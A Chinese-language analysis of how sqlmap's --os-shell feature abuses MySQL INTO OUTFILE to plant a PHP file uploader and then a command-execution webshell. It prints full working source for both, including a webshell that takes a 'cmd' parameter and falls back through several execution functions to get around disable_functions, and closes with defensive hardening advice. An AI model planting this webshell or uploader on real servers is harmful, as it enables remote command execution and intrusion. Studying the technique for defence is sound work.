本质:
通过into outfile语句写入一具有上传功能的php文件(假设后端语言为php),再利用这个php文件上传webshell,利用函数执行cmd命令;
条件:
执行into outfile需要数据库的file权限;这个权限被两个条件影响,一是当前数据库登录的用户(是否是dba),二是secure-file-privi;
secure-file-priv
MySQL 的一个系统变量,定义了写入文件时允许写入文件的目录范围;
为了安全,一般设置成特定的安全文件夹或直接删除该配置项;
只有值为off或空,才能被sqlmap利用;该配置影响范围为所用mysql用户;
这是执行sqlmap --os-shell结果:
打开发现一个是具有文件上传功能的php,一个是webshell,代码如下:
<?php
if (isset($_REQUEST["upload"])) {
$dir = $_REQUEST["uploadDir"];
if (phpversion() < '4.1.0') {
$file = $HTTP_POST_FILES["file"]["name"];
@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
} else {
$file = $_FILES["file"]["name"];
@move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die();
}
@chmod($dir . "/" . $file, 0755);
echo "File uploaded";
} else {
echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data>";
echo "<input type=hidden name=MAX_FILE_SIZE value=1000000000>";
echo "<b>sqlmap file uploader</b><br>";
echo "<input name=file type=file><br>to directory: ";
echo "<input type=text name=uploadDir value=C:\\phpstudy_pro\\WWW\\> <input type=submit name=upload value=upload></form>";
}
?>
<?php
$c = $_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time", 0);
$z = @ini_get("disable_functions");
if (!empty($z)) {
$z = preg_replace("/[, ]+/", ',', $z);
$z = explode(',', $z);
$z = array_map("trim", $z);
} else {
$z = array();
}
$c = $c . " 2>&1\n";
function f($n)
{
global $z;
return is_callable($n) and !in_array($n, $z);
}
if (f("system")) {
ob_start();
system($c);
$w = ob_get_clean();
} elseif (f("proc_open")) {
$y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);
$w = NULL;
while (!feof($t[1])) {
$w .= fread($t[1], 512);
}
@proc_close($y);
} elseif (f("shell_exec")) {
$w = shell_exec($c);
} elseif (f("passthru")) {
ob_start();
passthru($c);
$w = ob_get_clean();
} elseif (f("popen")) {
$x = popen($c, r);
$w = NULL;
if (is_resource($x)) {
while (!feof($x)) {
$w .= fread($x, 512);
}
}
@pclose($x);
} elseif (f("exec")) {
$w = array();
exec($c, $w);
$w = join(chr(10), $w) . chr(10);
} else {
$w = 0;
}
echo "<pre>$w</pre>";
?>
可以发现,这个webshell运用的函数都是执行命令后有回显的函数,这样才能构成os-shell的交互界面;
抓网卡包查看,对内容进行了url编码和ascii16进制编码;
在c:/phpstudy_pro/www/路径下创建了tmpuaggu.php文件,然后访问该文件上传shell:
至此两个文件成功上传;
防护方法:
数据库配置方面:限制file权限,只有管理员用户具有,或安全配置secure-file-privi开关
php配置方面:配置disable-functions,进行基本的安全加固;
WAF:sqlmap的包原始特征太明显,useragent,危险函数直接写脸上了,请求体没有经过加密,普通的加密作用没有,复杂的加密工作环境没条件。